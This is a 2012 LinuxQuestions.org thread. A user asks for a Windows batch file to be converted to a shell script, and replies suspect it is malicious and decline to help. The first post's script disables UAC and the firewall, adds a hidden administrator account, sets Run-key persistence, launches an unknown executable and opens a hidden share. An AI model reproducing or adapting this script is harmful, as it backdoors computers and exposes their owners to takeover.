LinuxQuestions.org
Review your favorite Linux distribution.
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices

Reply
 
Search this Thread
Old 03-16-2012, 11:53 AM   #1
debb22
LQ Newbie
 
Registered: Mar 2012
Posts: 1

Rep: Reputation: Disabled
Help me convert this batch file to shell script..


Few lines will do. I really have no idea how. I have watched video tutorials but they really confuse me.

@echo off

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

md C:\Windows\System32\EH.1

copy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\"


netsh firewall set opmode disable

NET USER nerd ~~HAhaH@ /ADD
net localgroup administrators nerd /add

echo y| cacls Q.bat /grant "Everyone" :R

c:\windows\system32\eh.1\experiment2.exe

@echo off
reg add HKLM\Software\Microsoft\Windows\Current Version\Run /v test /t REG_SZ /d C:\Windows\System32\EH.1\Q.bat

net share ETHIHACK$=C:\Windows\System32\EH.1

pause

Last edited by debb22; 03-16-2012 at 11:54 AM. Reason: typo
 
Old 03-16-2012, 12:20 PM   #2
catkin
LQ 5k Club
 
Registered: Dec 2008
Location: Tamil Nadu, India
Distribution: Servers: Debian Squeeze and Wheezy. Desktop: Slackware64 14.0. Netbook: Slackware 13.37
Posts: 8,551
Blog Entries: 28

Rep: Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176Reputation: 1176
Almost all of it is specific to Windows. How do you intend to run shell script on a Windows platform?
 
Old 03-16-2012, 12:25 PM   #3
grail
Guru
 
Registered: Sep 2009
Location: Perth
Distribution: Manjaro
Posts: 7,587

Rep: Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941Reputation: 1941
I'm with catkin ... please explain how you intend to run a shell script, I am guessing you do not mean powershell, in a Windows environment?
 
Old 03-17-2012, 12:27 PM   #4
David the H.
Bash Guru
 
Registered: Jun 2004
Location: Osaka, Japan
Distribution: Debian sid + kde 3.5 & 4.4
Posts: 6,823

Rep: Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949Reputation: 1949
Please use [code][/code] tags around your code and data, to preserve formatting and to improve readability. Please do not use quote tags, colors, or other fancy formatting.

For general advice on batch file > shell script, see here:

http://www.tldp.org/LDP/abs/html/dosbatch.html

But as the others have stated, many of the commands above obviously modify the Windows registry, so whatever script you write will only work properly on a Windows system.

cygwin perhaps?
 
Old 03-17-2012, 01:03 PM   #5
273
Senior Member
 
Registered: Dec 2011
Location: UK
Distribution: Debian Sid AMD64, Raspbian Wheezy, various VMs
Posts: 3,432

Rep: Reputation: 796Reputation: 796Reputation: 796Reputation: 796Reputation: 796Reputation: 796Reputation: 796
It's been a while since I messed with Windows but that looks suspiciously like a script to allow somebody amdinistrator access to a compiter without the user being notified -- it could be just to automate administration for a genuin reason but it looks fishy to me.
 
1 members found this post helpful.
Old 03-17-2012, 01:18 PM   #6
dugan
Senior Member
 
Registered: Nov 2003
Location: Canada
Distribution: distro hopper
Posts: 4,790

Rep: Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486Reputation: 1486
deb22, if this is a serious question then tell us in your own words what each line of the batch file does, what the end results ("postconditions") are, etc. We can then tell you what the Linux counterparts are.

Do keep in mind that questions asking for help with hacking or exploits are against the rules.

Now, that said...

Something strange is going on. Someone with a completely different (but also female) name just posted the exact same question to Stackoverflow:

http://stackoverflow.com/questions/9...x-script-shell

The question itself, of course, is nonsensical; nothing in the batch file is portable to "shell script" (unless the shell is Powershell).

Quote:
Originally Posted by 273 View Post
that looks suspiciously like a script to allow somebody administrator access to a computer without the user being notified -- it looks fishy to me.
From a comment on another one of that user's StackOverflow posts:

Quote:
I have a really bad feeling about the script you're trying to translate.

Last edited by dugan; 03-17-2012 at 01:34 PM.
 
Old 03-17-2012, 01:39 PM   #7
colucix
Moderator
 
Registered: Sep 2003
Location: Bologna
Distribution: CentOS 6.5 OpenSuSE 12.3
Posts: 10,509

Rep: Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957Reputation: 1957
@debb22: please explain what is the intent of this batch file and why you have to convert it to a shell script. Until we clarify this code hasn't got a malicious intent, nobody here will help you. Nevertheless, as previously noticed, the code is strictly related to Windows and changes the Windows registry that has no counterparts in Linux.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
any shell script 2 batch file tools? rosbur Linux - General 10 08-04-2012 09:48 AM
Convert few lines of SHELL script to DOS batch vanco2001 Programming 3 04-14-2011 04:14 PM
Need to convert a batch file to a shell script webshore Linux - Newbie 2 05-03-2010 07:42 AM
Making a batch shell script to convert, merge and append (join) movie's to mkv mnt_schred Programming 8 12-07-2009 11:51 AM
How to convert a batch file(.bat) to script file(.sh) manas_sem Programming 4 06-28-2007 12:10 PM


All times are GMT -5. The time now is 11:00 AM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration